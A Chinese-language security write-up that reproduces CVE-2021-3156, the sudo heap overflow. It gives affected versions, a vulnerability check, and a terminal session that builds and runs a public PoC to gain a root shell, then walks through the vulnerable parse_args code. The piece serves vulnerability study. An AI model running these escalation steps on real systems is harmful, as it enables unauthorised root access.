文章首发于安全客

CVE-2021-3156 sudo heap-based bufoverflow 复现&分析

CVE-2021-3156sudo的一个堆溢出漏洞,可以用来进行本地提权。在类uninx中非root可以使用sudo来以root的权限执行操作。由于sudo错误的转义了\\\\导致了一个堆溢出漏洞。

漏洞影响版本为1.8.2-1.8.31sp12, 1.9.0-1.9.5sp1sudo >=1.9.5sp2的版本则不受影响。

感谢luc师傅带我飞。

环境搭建

这里我首先使用的是docker ubuntu 20.04,查看一下sudo版本,这里需要注意的是首先需要创建一个普通权限的用户

normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

执行命令sudoedit -s /如果回显

root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# sudoedit -s /
sudoedit: /: not a regular file

则表明存在漏洞,如果回显

➜  work sudoedit -s /
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

则表示漏洞已经被修复

漏洞分析

首先我们使用exp先执行一下

root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# su normal
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ls
Makefile  README.md  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty <[email protected]>

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(normal)
# exit
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$

sudo-i,-s参数启动即MODE_SHELL,MODE_LOGIN_SHELl标志启动的时候,sudo会使用\\\\转义所有的元字符,并重写argc,argv

//src/parse_args.c/parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
  char **av, *cmnd = NULL;
  int ac = 1;

  if (argc != 0) {
    /* shell -c "command" */
    char *src, *dst;
    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
      strlen(argv[argc - 1]) + 1;

    cmnd = dst = reallocarray(NULL, cmnd_size, 2);
    if (cmnd == NULL)
      sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
    if (!gc_add(GC_PTR, cmnd))
      exit(1);

    for (av = argv; *av != NULL; av++) {// 串联所有的命令参数字符串
      for (src = *av; *src != '\\\\0'; src++) {
        /* quote potential meta characters */
        // 用\\\\转义所有的元字符
        if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
          *dst++ = '\\\\\\\\';
        *dst++ = *src;
      }
      *dst++ = ' ';
    }
    if (cmnd != dst)
      dst--;  /* replace last space with a NUL */
    *dst = '\\\\0';

    ac += 2; /* -c cmnd */
  }

  // 重写argc,argv
  av = reallocarray(NULL, ac + 1, sizeof(char *));
  if (av == NULL)
    sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
  if (!gc_add(GC_PTR, av))
    exit(1);

  av[0] = (char *)user_details.shell; /* plugin may override shell */
  if (cmnd != NULL) {
    av[1] = "-c";
    av[2] = cmnd;
  }
  av[ac] = NULL;

  argv = av;
  argc = ac;
}

之后会在sudoers_policy_main函数中调用set_cmnd函数